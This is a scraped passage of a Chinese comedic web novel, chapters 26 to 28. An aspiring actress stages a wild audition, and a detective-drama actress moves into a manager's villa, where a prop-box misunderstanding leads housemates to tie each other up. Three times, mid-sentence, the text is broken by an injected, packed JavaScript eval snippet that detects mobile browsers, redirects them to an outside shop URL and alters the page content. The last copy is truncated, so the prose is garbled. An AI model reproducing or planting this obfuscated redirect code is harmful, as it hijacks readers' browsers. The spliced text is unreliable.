她边说边大力拍打地板,邦邦邦地巨响,拉长的嚎哭声甚至还会变调,高低起伏像警笛,仿佛是来展现自己的音域似的。 那调门一度叫得几人偏过头,试图躲避这超高音折磨的惊悚现场。 宫欢:“……” 王导:“……” 两人默默互看一眼:高估她了。 男制片也:“……” 他本以为会是载歌载舞、赏心悦目的美人跳舞画面,结果被迫看了这么一段硬生生撕开融洽饭局氛围的表演。 不止如此。 甘惊鸿为了表现出自己的不怕脏不怕累,沉浸在表演中的她,一路手脚并用爬到宫欢旁边,抱住她大腿痛哭失声: “求求您救救俺滴娃吧,她才刚出生啊!!呜呜呜我实在没法了,没吃的喝的,大山里什么都没有!” 大概是宫欢应对多了奇葩,她从桌上拿来红酒杯,直愣愣地递给她:“我也没别的,那实在不行,给她喝点红的?” 甘惊鸿表演的节奏被打断一瞬,卡壳了一秒,但她记得一位前辈说过,表演一旦开始就不能结束! 于是她又哭着摇头,绕开宫欢要去抓女制片的裙摆,“求求您各位施舍一点吃的吧——” 女制片一个闪身拿起包,被吓得龇牙咧嘴往后退避:“你别,别过来啊!!” 女制片人跳开座位绕了一圈圆桌就往外走,在宫欢要拦人时说,“妹子,你的事儿再联系哈,今天就先到这吧哈哈……” 宫欢诶了一声:“诶诶!姐姐你别走啊!” “哥!大哥!帮帮俺吧,俺真嘞需要吃的,求您施舍点馍馍吧!让俺孩儿能吃饱!” 甘惊鸿还在往男制片那边爬,吓得人一米八的大汉也急忙跳起来,僵笑着跟宫欢道别,马不停蹄地往外跑:“回头聊啊妹子,随时联系!我跟你姐先走了!” 宫欢站起身也拦不住人走得飞快:“大哥别走啊喂!!” 眼见两人都没了踪影,宫欢只得重坐回去。 没人配合甘惊鸿表演了,她左右看看,爬起来也顾不得白裙上的脏污,凑到宫欢旁边,头发凌乱,衣服皱巴巴,眼睛却格外的亮,带着期冀: “欢姐,怎么样呀?我的演技还可以吗?” 宫欢绝望无语的目光落在甘惊鸿身上,很想说点什么,但转头便见王导恳求地将双手合十,不断地做出拜托姿势,显然非常想把这位祖宗送出去。 心里长叹一声。 “特别……好。”宫欢咬牙切齿。 “真的吗!!啊啊啊我就知道欢姐能懂我!太感动了!您不愧是我最钦佩的经纪人,录节目的时候我就发现了bulabulabila……” 甘惊鸿猛地扑过来,抱住宫欢兴奋地用力摇晃,表达自己的感激之情。 没注意到这位经纪人的魂儿已经出窍了。 26. 带刺白花 饭局结束。 王导握着宫欢的手用力晃动,感激不尽她接手这位祖宗:“欢啊,辛苦你了,以后就麻烦你带她了,尽管骂尽管说,什么都不用顾及,当成自己家人就行!” 宫欢的两条胳膊被晃得乱飞,没忘了正事:“你等下把那两位制片人的联系方式发给我一下吧,男团的事还没敲定呢。” 王导信誓旦旦地比了个不标准的OK:“放心吧,你帮我解决这么大个…我绝对帮你把男团搞定!” 说着王导便迫不及待地乘车离开了,像是生怕有人后悔,留下宫欢和甘惊鸿大眼瞪小眼。 总归是熟人的人,她还是要问问底细才好安排,“你之前是学什么专业的?” 甘惊鸿就像早就准备好了,就等人问,兴冲冲地自我介绍:“我是汉语言文学专业,但是您放心,我很有天赋的,可以三秒落泪,眼球360度翻转!一秒入戏!跑龙套有一年了,演了超多角色的!” “说来听听。”宫欢转身朝着酒店的方向走去,甘惊鸿就侧着身子跟着她絮絮叨叨。 “比如那个长着獠牙蹦蹦跳跳的清朝僵尸,断胳膊断腿没了内脏的丧尸,哦哦还有湘西那边的蹦迪赶尸——” 甘惊鸿细细数来。 宫欢止住脚步,面色复杂:“有没有活着的角色?” 甘惊鸿连忙点头,眉毛微扬,竖起一根手指十分郑重其事:“有有有,有一种被化学实验污染的活尸!表面看着是死了其实是活的!能走能跳能吃饭,就是不能说话怪无聊的。” 宫欢一把拍头,她就知道。 “你为什么想要演戏?是觉得好玩吗?” 甘惊鸿眉头微拧:“怎么会是玩呢?其实也没有特别的想法,就是想演戏,可以成为很多种不同的人,我以前看书的时候总觉得那些文字好虚浮,一个字两个字就可以写出百种情绪,千般变化……” 她微微低头:“那让我觉得很飘,摸不到真实。可是表演就不一样了,演戏的时候我会真的成为那个人,也许我很笨,很懦弱,可是我可以演出高智商的人,成为总裁!律师!甚至是历史里的某个人物,我觉得这很神奇!” 提到表演时,甘惊鸿整个人神采奕奕,满眼充斥着光,那是提到喜欢的事物的表现。 宫欢安静地看着她,似乎从她身上看到某种和一些人相同的共性。 她说得是真是假尚未可知,但不得不说,这番话确实很打动人。 宫欢呼出一口气,认真地看她:“王导和我说,只需要给你一些角色你就会演。” 甘惊鸿没听出话外之意:“对!我什么都会演的!我什么都不挑!” 宫欢摇摇头,“我觉得既然能在一起共事,也是缘分,我会好好培养你,其他的就看你上不上道,愿不愿意去沉淀培养自己了。师傅领进门,修行在个人,刚才你那么卖力表演,就是为了给我看的吧。” 甘惊鸿没想到,她那点小心机小意图被宫欢看出来了。 她嘿嘿直笑,有些羞涩地眨巴着眼,点头承认:“我没有过经纪人,您是我能接触到的最近的人了,所以……想试试能不能得到机会。” “下次别试了,”宫欢深呼吸,回想起刚才那场面,“很容易遭人打,得亏是我脾气好。” 这话说出去不会有人信的,偏偏甘惊鸿深信不疑:“我也觉得您特别好相处!” 宫欢将名片拿出来递给她:“这是我在A市的住址,想好了来这里找我。记住,是想好了,你现在还有反悔的机会,到时候白纸黑字签了可就没得反悔了。” 甘惊鸿接过名片,低头仔细看着上面的介绍,没看多久,耳边传来车门声,抬头一看—— 宫欢刚坐上车,准备回酒店,见甘惊鸿看她,于是抬手做了个响指,手指轻轻指着她,语调上扬带着笑: “等你好消息哦。” 车子开远,甘惊鸿看着远去的车,深深地呼出一口气,把名片压在胸前。 - 话说这头。 宫欢的车开回了五星级酒店。 在对门咖啡馆蹲守了一整天的奚亭云清醒过来,一眼看见她的身影从车里出来,匆匆忙忙地咽下嘴里的咖啡,提起包开始订机票。 已经是晚上,机票只有早晨七点的。 回A市大概要三个小时,再到别墅10点前应该能出现,顺利的话不会露馅。 奚亭云计划得很好,但算不准宫欢。 而宫欢是他计划里最大的遗漏,于是好巧不巧,他们乘坐了同一航班。 奚亭云想过,他卡点离开可能会撞上这场面,但他想,宫欢应该会坐头等舱或是商务舱,怎么都想不到宫欢为什么会选了——经济舱。 甚至与他就隔着两排座位。 他只得将口罩帽子一压再压,生怕暴露。 宫欢换了身运动装,大概怕被人认出来,头上戴了鸭舌帽,只是没戴口罩。凌晨的航班多数人都在睡觉,她也一样,歪着头靠在椅背上补觉。 奚亭云一直催眠自己,他应该躲着点,绝对不能被发现。 可大脑和身体各想各的,他起身离开座位,装作去洗手间。 路过坐在过道位置的宫欢,确实睡得很熟,他大着胆子停下脚步,偷偷抬头看她的睡脸。 ——流口水了。 奚亭云忍不住轻笑。 到她身边以后,奚亭云没多少机会看她,专注地长久地看一个人是需要理由的。 只能偶尔借着聊天说话的时候,盯着她看一会,还要克制住面部表情,眼神动作,避免情绪太过浓烈。 奚亭云保持着蹲的动作看她,刚想靠近一点,身后传来空姐走动的声音。 宫欢眉头皱了皱,身体翻了个动作,有些醒了。眼睛微微掀开一条缝,视线内出现一些模糊的偏白肤色的色块,和大片黑色的色块。 什么玩意儿? 她揉了揉眼睁开眼睛,又什么都没了。 这样的一幕和昨天私生粉场面极其相似,宫欢心有余悸地拍拍胸口,私生粉果然可怕,都给她留下心理阴影了。 嘴角有些许干涸的感觉,宫欢擦了擦嘴,什么都没有,只觉得自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126317|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己最近多疑的毛病要改改。 角落里,奚亭云的手指收紧,闭眼假寐。 飞机很快停落A市。 宫欢补了觉还是犯困,被高姐硬拽着出了机场,两人刚上车,旁边就窜出去一辆出租车,极快地飞出机场。 司机师傅看了眼吐槽道:“大早上的赶着去投胎啊!” 投胎倒不至于。 但也和命差不远。 奚亭云系紧了安全带,手抓着扶手被司机的夺命狂飙、超炫漂移、山路十八甩一路火花带闪电地从机场送到了别墅。 到地方后,奚亭云整个人晕得站不稳,开了车门就往外摔。 司机幽幽地点了根烟,单手捶胸两下指着奚亭云,眼神犀利:“只要你一句话,使命必达!” 上车时,奚亭云只说了:“我要赶在朋友之前到家,她已经在前面那辆车上了。” 司机不知道脑补出了多少狗血伦理道德捉奸大剧,才开车这么猛。 奚亭云发型凌乱,艰难地从地上爬起来,人晕晕晃晃的,给他转了小费:“谢…谢了。” 奚亭云踉踉跄跄地跑回卧室换了身衣服,在大厅看了一圈,没发现萧子重和安声,已经快要到午餐时间,那两个应该早就跑来休息了啊。 健身房没人在,舞蹈室也没有人。 奚亭云在别墅找了一大圈都没看见两个队友,正准备拨通电话找人。 忽然,三楼传来窸窣的拖行声响。 他抬头一看,萧子重被五花大绑,嘴上贴着黑色胶带,整张脸和脖子涨红一片,呜呜啊啊的乱叫。 奚亭云当即愣住:“什么情况,发生什么了?” 萧子重顺着三楼楼梯滚了下来,嘴里呜呜不断,含含糊糊地只能听清:“有人!” 家里进小偷了? 奚亭云谨慎起见,在厨房找了根擀面杖,走到楼梯上扶起萧子重揭开他嘴上的胶带。 人立马嗷嗷叫起来,一直仰头示意他:“楼上!楼上有——” 话音未落,三楼走出一个短发女人。 关清英手里提着一个安声,另一只手拿着手铐。 三人就这么一对视。 萧子重咕蛹着身体要逃。 奚亭云以为她是来抢劫的,举起擀面杖准备一番决斗。 他刚迈步上了三楼,关清英松开手里提着的安声,迅速熟练地一个踢腿,正中人膝盖,奚亭云刚叫了一声,又是一记抬腿狠踢,正中他头部,奚亭云顿时倒地。 KO—— 紧接着,关清英单手抓住奚亭云的手腕用力朝后一扭,嘎达,银质手铐一下锁住了手腕,再牢牢拷在了木质栏杆上。 嗙当—— 擀面杖从奚亭云手中脱落,顺着楼梯噔噔噔的滚到了一楼。 宫欢到家时就看见这么一幕。 她整个人傻在原地:“你们在玩什么!!这是我家啊喂!!不要玩一些乱七八糟的游戏!!” 几人面面相觑,似乎才发觉自己产生了一些误会。 ——时间倒退回一天前。 27. 最高武力(关清英) 时间倒退回三天前。 将合同签完后,关清英走出别墅区,直到坐上车,才有了种落到实处的感觉。 她看向车窗外不断倒退飞略而过的景物,目光没有落点的飘晃,耳边回响着其他人说的话。 不论是萧子重讶异的眼神,还是宫欢的话,她比谁都清楚,走一条最稳的路是谁都梦寐以求的选择。 可实际上,她才是那最不稳定的存在。 出租车停在老小区外,关清英付了钱下车。 之前买的快递还没取,她先到了快递点,一间狭小的仓库里摆放着七八个铁架子,摞满了快递。 关清英站在门外,说了声:“取快递。” 被埋在快递堆里的人钻出来,准备问取件号,一眼看见关清英,笑着打招呼:“是英姐啊,我知道你的快递,等着啊,我给你找找。” 关清英客气点头:“不着急,辛苦了。” 小小的快递仓库里放着一台有些破旧的老式电视机,正放映着电视台随机播放的电视剧,声音开得较大。 关清英下意识看过去,被小小的电视屏幕吸引住了视线。 “您不能就这么放弃调查!如果我们都放弃了还有谁能帮他们!” 电视画面里面正好播放到关清英饰演的刑侦副队长,这一场是案件遇到困难无法推进下去,“她”在和队长据理力争,希望能让队长继续调查,不要放弃。 镜头从关清英急切诚恳的脸上,转移到了队长的无力绝望的面容上,他疲惫地摇头: “你根本不懂我们遇到的是多么难以拔起的树根,再查下去我们都会栽进去!” 只见画面里关清英后退两步,天台上夜风呼啸,将短发吹得凌乱,她一字一句地坚定着说: “多难我都要去试试,这是我的职责。如果您怕了,那就趁早退休吧。” 说完,关清英绕开队长,离开天台,镜头拉远,照出天台上孤单站着的一个人。 “——英姐,找到了,你有两个快递。” 小哥抱着快递盒过来,见关清英怔怔地看着电视,乐呵地搭话:“还是你拍的电视剧经典啊,怎么看都看不腻。” “我最喜欢英姐这个角色了。正义!勇敢!不畏强权,比这个队长靠谱多了,队长老掉链子,看着就心烦。” 关清英回过神来,扯了个笑容:“他毕竟是个队长,忧心的事情更多,没办法。” 接过快递,关清英看了看上面的贴纸信息确认一下,避免拿错。 小哥:“买的什么呀,怪沉的。” 快递贴上只写了“书籍”2个字,关清英没多说:“没什么,买来玩的,你先忙,我走了。” - 关清英站在门外,拿出钥匙打开家门。 门一开,扑面而来的消毒水气味,关清英打开客厅的灯,有些昏暗的房间内霎时亮起来,将房中物品和格局照得清楚。 一室一厅的房间,并不大,关清英放下快递盒准备收拾东西。 入门处的人体骨架模型拆下来,床上叠成豆腐块的被子塞进真空袋抽干空气,衣柜里从浅至深的五套衣服整理好,书架上常看的几本尸体图鉴、犯罪心理学放进行李箱,一些零碎的道具物品挤在缝隙里。 关清英之前算是住在剧组,结束拍摄也就一年不到,搬回来的大部分纸箱还没扔,现在正好派上用场。 她房间整洁干净,日常物品都是分类摆放,大多数都在客厅和阳台,厨房没多少东西,只有一些手术刀解剖刀的道具,关清英一并塞到行李箱夹层里。 慢慢的收拾完后,房间和搬进来没太大区别,甚至比她刚来的时候还要干净。 关清英躺在还剩一张床单的硬板床上,有种恍惚的、无处落根的飘忽感。 她随便吃了点外卖,给房东发消息说明情况,准备退租。 离开宫欢家时,高姐留了她的地址和手机号,找人来帮她搬家。 司机打电话来问好久搬,关清英看了看几箱物品,说明天下午吧。 一切安排妥当,关清英躺在床上始终无法入睡。 她拿起手机,打开在各大视频平台皆有播放的【重刑之下】,一边放着当做背景音,一边闭上眼睛,才渐渐睡了过去。 - 隔天,司机那边临时有事,跟关清英说再推一天搬家,电话里连连抱歉,她简洁的应了声,挂断电话。 望向窗外,天气有些阴。 没有工作的日子,好像一切都变得无聊。 关清英不是工作狂,可她总觉得在工作以外的日子里,生活总是无趣平凡的,像一潭静水,永远不会泛起波浪。 起床洗漱,收拾完毕,关清英在小区附近找了家早餐店,油条豆浆,安静地吃着。 “诶,快看,是她吗!?” “短发,风衣,一模一样啊!肯定是!” 两个年轻人路过店门口,一眼看见高挑干练的关清英,她气质不俗,在人群里非常显眼。 两人推推搡搡走过来又喜又惊:“您,您是陈队长吗!?我们特别喜欢您,一家人天天都在看重刑之下!” 关清英抬起头,放下手里的筷子,谦和地笑了笑:“是我,谢谢你们的喜欢。” “啊啊啊啊啊!真是陈队长!可以给我签个字吗!” “我也要我也要!” 两人出门没带纸笔,临时问店家借了,递给关清英求签名,两双眼睛兴奋地盯着她叽叽喳喳说着她饰演的多好,演技多么真实。 关清英手指划了两下,签名落成,将纸递回去,客套地笑笑,准备起身离开了。 没想到拿着签名的两人盯着签名有些犹豫,互相看了一眼又叫住关清英:“那个,不好意思啊,能给我们签个“陈队长”的名字吗?” “……” 关清英再次拿起笔,将她原先的签名划掉,签上了——陈队长。 人走远了,关清英沿着小区门外散步。 她对于观众是否记得她,还是陈队长并不在意,签名无论是她还是陈队长其实没太大差别。 都是一个人。 有什么好做分别的。 关清英绕着小区走了两圈,进了一家健身房,在剧组常年的负重训练早已将她的身体锻炼出来了,健身房的器械只是热身运动。 总计锻炼了两三个小时,健身房里的男女们总是往她这投来艳羡、欣赏的目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126318|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一天就这么过去了,平平无奇。 临到搬家这天,司机早早来了,两人合作几下就将大部分行李拿完了。 司机装载完问她:“你跟车吗?还是我直接送过去?” 关清英想着要跟房东那边说一下,“你先送吧,我还有点其他的事情后续要处理。” 司机点点头驱车离开。 关清英回到单元楼,乘坐电梯时碰见几个眼熟的邻居。 平时她进进出出,打招呼也没架子,邻里街坊偶尔有事没事会问几句近况。 刚才关清英搬东西动静不小,一个阿姨等待电梯间隙就攀谈起来:“刚才看见你忙着搬东西,是最近又要去拍戏啦?哈哈哈我们一家人都爱看你的电视,大人小孩吃饭的时候就放放看,那眼珠子都不带转的。” “差不多是,还不确定。”关清英略显拘谨地笑笑。 关清英站在角落,人比阿姨们高出不少,高高的,身型比例也好,在电视上看着规规整整的没多出彩,现实里倒是很打眼。 两个阿姨对视一眼,聊着几句,话题不知不觉就歪了:“英子你今年多大啦?感觉有个二十六七了吧?” 关清英一眼看出阿姨们的意图,怕是又想问些有没有对象之类的。 “30了,”关清英见两个阿姨眼睛一亮,准备要开始发力,她一个利落地打断,“过两天准备去买套别墅,这房子有点小。” 两个阿姨顿时像哑了似的,干巴地笑笑:“哈哈,那是那是。” 电梯停在楼层,关清英侧身挤出电梯,头也不回地走了。 背后关闭的电梯里隐约传出嘀嘀咕咕地交谈:“她赚了多少啊,都能买别墅了!?” “要不当明星挣钱呢,她那电视剧哪个台都在放,肯定不少,哎呀,一般人可高攀不起!” “可不是说,啧啧啧。” 后面的话随着走远渐渐听不清晰,关清英并不在乎,闲言碎语她听得耳朵都起茧子了,这些算不得什么。 她回到房间,坐在阳台,拿出手机准备给房东打电话。 然而手机上推送来一则娱乐新闻—— 【重刑之下是否还会续拍?主演团队竟遭更换!?】 关清英的头部传来一阵阵刺痛,她皱紧眉头闭上眼,将手机丢开,手指摁住额头揉捏缓解。 昏暗房间里,穿着风衣的女人坐在阳台,这幅画面和先前天台上的那一幕出奇相似。 - 一辆小型货车驶入别墅区。 司机叼着烟,一脚刹车,将车停在别墅门外。 宫欢临走前交代了小助理注意一下搬家的事情,这会儿她小跑出来,远远叫着:“师傅你等一下,我去找人来跟你一起搬!” 别墅里常年在的只有做饭阿姨和保洁阿姨,没有管家管事之类的人,或者说,高姐相当于半个管家。 小助理刚跑回来,就敲了敲自己脑袋:“啊,总不能让阿姨们帮忙搬东西,万一闪着腰就不好了。” 犹豫只用了一秒,小助理就跑去舞蹈训练室,一眼看见坐在那大喘气休息的萧子重,顿时脸上绽开笑容:“太好了!” 萧子重不明所以:“?” 28. 最高武力(关清英) 10分钟后。 萧子重被骗来搬行李,他抱着不知装着什么物品的大纸箱,死沉死沉,背心几乎汗湿,爬上三楼时人都要废了。 他气喘吁吁地质疑:“你确定这是宫欢让我搬的?她买的什么鬼东西啊,重得要死,人跑得没影儿,东西还要人搬。” 小助理理直气壮:“欢姐的东西都很重要,要轻拿轻放。” 萧子重嗤了声:“啊对对对,欢~姐~最重要了。” 东西并不多,两人三趟差不多搬完,第三趟的时候司机直接开车走了,让他们自己搞定。 小助理这会儿被叫去查资料,留萧子重一个人搬着超大号纸箱爬楼梯,边爬边骂骂咧咧:“死宫欢,你暴发户吧,三四层楼搞什么木质楼梯装格调,实用的电梯是一个都不安啊。” 一边说着一边大喘气,胸口起伏不断,像条刚被遛完的狗,哈赤哈赤喘气。 到了三楼,萧子重一屁股坐在地上。 今天训练强度很高,他还没来得及休息就被喊来搬东西,重量不轻,箱子里的东西有时会发出碰撞的声响。 有点像是道具,他以前在剧场搬得最多的东西就是道具。 不知为何,纸箱的最上面没有用胶带封住,就只是简单的盖住,有时搬动的幅度过大,缝隙会歪开一个口子。 萧子重眼珠滴溜溜转,内心做了极大的挣扎,脑袋一点点探过去,眼睛透过纸箱缝隙往里面看—— 不看还好,一看要命。 纸箱里隐约可以看见一根根白骨,还有一些不知名的铁片,反射着光,看得萧子重连叫几声卧槽,一下收回眼。 那都什么玩意儿!! 不确定,再看看。 萧子重往楼下看了看,这会儿别墅内部很安静,大家都在各忙各的看不见人影。 他将纸箱推到过道,心里默念:我只是确认一下,确认一下。 他伸手轻轻打开虚虚掩盖着的纸箱正面,内部的东西一露出头来,萧子重脑中警铃大作,就像个上世纪火车呼啸叮铃铃开过他整个大脑的轨道。 这都是什么!? 人体骨架、头骨、腿骨、手术刀、镊子、装有福尔马林的瓶子,还有一堆带血的衣物,看得萧子重手直哆嗦。 其中,还有几本尸体图鉴、解剖学相关的书籍。 萧子重根本没法正常思考,他半靠着纸箱,有了个大胆的想法。 怪不得,怪不得宫欢到处找人签合约签艺人,那都是为了满足她那些见不得人的癖好!! 娱乐圈水深火热,果然没几个正常人,他就说,怎么宫欢那么好心,不惜花大手笔给他们改造形象等等。 真应了之前那句话——她在选人,来满足自己阴暗的癖好!! 萧子重脑子里出现一个画面。 黑暗背景下,宫欢缓缓出现,头发像蛇一样狂乱飞舞,配合她魔性阴暗的高亢笑声,左手持刀,右手拿叉,舌头长长的舔了舔嘴唇:“你们!都是我的食物哈哈哈哈哈哈!” 嘎腰子,还是有其他的阴谋? 他一个激灵回过神来,连忙把纸箱合好。过了几秒不知想到什么,又打开纸箱,认真严肃地想了想。 萧子重伸手探入纸箱,拿出几把精致小巧的手术刀和解剖刀塞进裤袋,匆匆走下楼梯,准备跑路,另想对策。 三楼的盆栽后方出现一双眼睛。 安声惊恐地瞪大眼睛看着胡子重匆忙的背影。 就在刚才,萧子重推着纸箱的时候,那些声响就惊动了正在房间的安声。 他一打开门,便看见萧子重偷偷摸摸、小心翼翼地不知道在做什么。 于是就安静的观察了会儿,没想到,竟然撞上这么个场面。 安声最近和萧子重奚亭云一起追了不少剧,包括悬疑恐怖片,看完那些剧他感觉自己的智商都高了不少。 面对这一场面,安声庆幸自己最近学了很多东西。 他狗狗祟祟地躲在盆栽附近,大脑转过几圈。 难道是他最近训练的时候对萧子重太严格了,才惹得萧子重走上歪门邪道? 一般电影里都是这么演的,因为种种简单的原因,一个人就能起杀心。 有什么事不能好好说吗,一定要动刀吗!! 安声欲哭无泪。 他看见门外的大纸箱,等了一会儿,没见萧子重回来。 有些好奇,安声悄悄地溜了出去,偷偷打开纸箱,箱子里放满了猎奇惊悚的物品,他脸色煞白,大气都不敢喘,哆哆嗦嗦地伸出手拿出一根腿骨。 安声咽了咽唾液,不断安慰自己:“是萧哥要先开始的,我是被逼无奈,等他来报复我肯定会被打得很惨。我下手轻,还是先把他打晕了再给欢姐打电话吧。” 果然这个圈子里的人都不正常! 逼得他都要做坏人了。 安声心里委屈,却还是坚强地拿着最粗的腿骨悄悄走出房间,他伏低身体,放轻脚步,心口扑通扑通狂跳。 他还是头一次做这么刺激的事情。 除开那一丢丢罪恶感,还有点跃跃欲试。 走到楼梯口,安声隐约看见正往三楼走的萧子重背影。同样的,萧子重走路的动静也非常轻,做贼似的猫着腰踮着脚尖。 安声有样学样,一步一步地走过台阶。 学舞蹈的好处在此刻体现出来了,他非常善于控制脚步,身体重量落地的准度,比萧子重冒冒失失地样子好了不知道多少。 安声顺利来到萧子重背后,前面萧子重还小声嘀咕着什么:“看一眼宫欢房间,就知道她到底在搞什么猫腻了。” 只见萧子重背后升起黑漆漆的一道影子,那人缓缓举起手里的人腿骨,似乎过于紧张,咽了咽唾液。 而咽下唾液的声音被萧子重听见,他愣了下,刚转过头,就被打来闷头一棒! 砰—— 萧子重瞪大双眼,僵硬地指着安声,扑通一声沉沉地倒在了地上。 罪魁祸首拿着腿骨,还有点害怕地往后躲了躲,安声心虚地结巴:“我我,我是为了你好,不这样你会犯错的。” 然而这段话萧子重已经听不见了,腿骨直接将他打晕了过去。 解决了危险因素,安声松了口气,朝着萧子重鞠躬,道了好几声歉:“对不起了萧哥,请你理解一下我吧,我我要把你绑起来了哦,要是疼的话,就忍一忍......” 同样是从纸箱里找到的麻绳,安声将萧子重手脚都绑住。 他不会绑人,只能像卷毛线一样将萧子重从脖子以下到两脚都缠起来,活脱脱一个麻绳木乃伊。 完工之后安声还拍拍手,站起来欣赏自己的杰作,他十分满意地点头:“我还是有点天赋的嘛。” “不过好像还差点什么。”安声盯着昏厥过去的萧子重,回想到昨天看的电影,灵光一现,他眼睛顿时亮起来,“是那个!” 安声在宛如百宝箱的纸箱里找到白布条和黑胶带,接着半蹲在萧子重面前,单手捏住他的下巴,先是把白布撕开一条蒙住他眼睛,接着用黑胶带封口,贴得严严实实,毫无遗漏。 完成最后一步,安声成就感满满。 就差拍照欣赏了。 安声左右看看,怕影响别墅里其他人,贴心地拉起萧子重往后拖行,让萧子重靠在三楼的发财树后面。 不过有点奇怪,安声后知后觉地想起来,萧哥要是想报复他的严厉的话,为什么不是去一楼大厅或者舞蹈训练室找他呢?而是往三楼走? 刚才好像听到萧子重嘴里嘟嘟囔囔说着宫欢,猫腻之类的。 安声的推理脑上线,他抱起手臂,一只手轻轻扶着下巴摩挲思考:“难道,萧哥的目的是欢姐??他拿着刀去找欢姐做什么?” “欢姐最近总是上热搜,感觉得罪不少人,萧哥会不会也是其中一人,欢姐之前得罪过他,所以他混进来男团想趁机报复她!不然为什么一个专业的话剧演员来参加男团呢?” 细思极恐,安声感觉自己推理到了什么不得了的惊天大阴谋,他笃定——这就是真相! 安声忙在身上摸索,想找出手机给宫欢打电话,却忽然想起上午训练时手机都被收起来放在一边了。 没办法,安声只得下到大厅去负一楼舞蹈室找手机。 而安声前脚刚离开一楼大厅,一位穿着风衣的短发女人就走了进来。 关清英提着纯黑色的行李袋,左右看看没见到人。 她加了小助理微信,小助理似乎在忙,跟她说了开门密码,和三楼的可选房间后就没再回复了。 三楼吗。 关清英抬头看了眼木质楼梯,提着行李袋顺着楼梯走到三楼。 楼梯口到房间需要经过一段走廊,两边摆放着不少精致摆件,关清英穿着短靴,鞋跟有些高度,走起来声响很轻。 这会是白天,三楼的灯没开,除了窗口透进来的阳光,就没多少光线了,多少有点昏暗。 关清英隐约看见发财树后面有团模糊的物体,很突兀,不像是发财树的树干部分,职业习惯让她下意识留神警戒。 直到走近才确认下来,发财树后是一个被绑着的人。 离开【重刑之下】剧组的一年时间里,关清英总是会遇见各种凶案,刑事案件的种种线索,有时她都怀疑自己的体质是不是都被改变了。 以至于,她在新经纪人家里发现被五花大绑的人都没太大反应,只是走过去放下手里的行李包,仔细看了看脸,下意识惊讶:“萧子重?你们这进小偷了吗,怎么被绑成这样?” 关清英看着萧子重身上缠绕得密密麻麻的麻绳。 还绑得这么......复杂。 不太像小偷绑的,绑成这样一是费时间,二是容易让血液不流通,很危险。 关清英摇摇头,上手去解麻绳,解到大腿位置时,萧子重头昏脑涨地醒过来。 眼睛被蒙上白布,嘴里也被塞着东西,他呜呜叫唤两声,身体挣扎抗拒着别人的触碰。 关清英只来得及撕开萧子重嘴上的黑胶布,刚想问怎么回事,就被萧子重一下撞开,猝不及防地撞上墙壁,吃痛一声。 “唔唔啊啊你们都是一伙的!!” 萧子重在地上爬行几下,用脸撑地,强行站起身抬腿就往外跑,头也不敢回,结果刚跑到楼梯口,碰上从右边楼梯上来举着腿骨的安声。 “啊,萧哥你的绳子怎么解开了,”安声惊讶地叫了声,似乎被萧子重的胡闹困扰到,安声攥紧腿骨轻轻举起来,一本正经地说,“不行!不能放你走!” 萧子重脸上蒙眼的布条被蹭掉了,他真想哭:“苍了天了有没有人管啊!!啊啊啊救命啊妈呀!” 安声一下就要追上来,萧子重嗷嗷叫着往下跳,脚步慌乱下一脚踩空人摔倒,顺着楼梯滚到二楼。 “别走!”安声叫道。 而三楼,要继续追打萧子重的安声刚迈出两步,就被一大袋行李包猛地砸中。 安声踉跄着后退两步,还没来得及反应,一道身影迅速靠近,抓住他手腕用力一扭——咣当,那截腿骨掉落在地。 剧痛顿时袭来,安声半跪在地,大叫出声:“啊啊好痛好痛,别扭!我的胳膊!” 关清英一脚踢开腿骨,两手将安声的手腕扭在身后,腿压在他背部控制住。 接着,她顺手从风衣下腰后的地方拿出一副手铐,干脆利落地拷住安声,提着他后衣领,像提着小鸡似的,将人往旁边丢开。 “你跑什么?” 关清英刚站在三楼楼梯口,就看见拿着擀面杖的奚亭云,和扭动身体往外蛄蛹的萧子重。 她有些摸不清状况,现在剑跋扈张的缘由是什么? 没等关清英想开口好好说话,奚亭云就冲了上来,关清英只好闭嘴,决定先把人都制服了再好好问话。 奚亭云两三步迈上楼梯,长腿刚踩住台阶—— 关清英一个蹲身扫腿将人绊倒,单手伸出,钳制住他的双臂使力一扭,咔呲! 几乎能听到骨头脱臼的声音,奚亭云吃痛,脸上顿时冒出汗珠,他还想挣扎一下,结果下一秒,关清英再次从腰间抽出银质手铐,拷住他一只手,另一边则拷在楼梯栏杆间。 “啊嘶——” 奚亭云倒在楼梯台阶上,眉头紧锁,额头浮起一层汗水,他从小就不会打架,更别说遇上的是关清英了。 武器擀面杖咕噜噜地顺着楼梯滚到一楼。 萧子重惨兮兮地往外扭动爬行。 关清英一步步走下楼梯,神态不慌不忙,从容有余,语气平静,耐心地询问道:“你要到哪儿去,有什么不能好好说吗?” 有种幕后boss要抓住最后一个人的感觉。 而这时候,宫欢迈进家门就看见这一幕。 宫欢人都要傻了,甚至抬头看看大门是不是自己家,确认后看向临时改变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 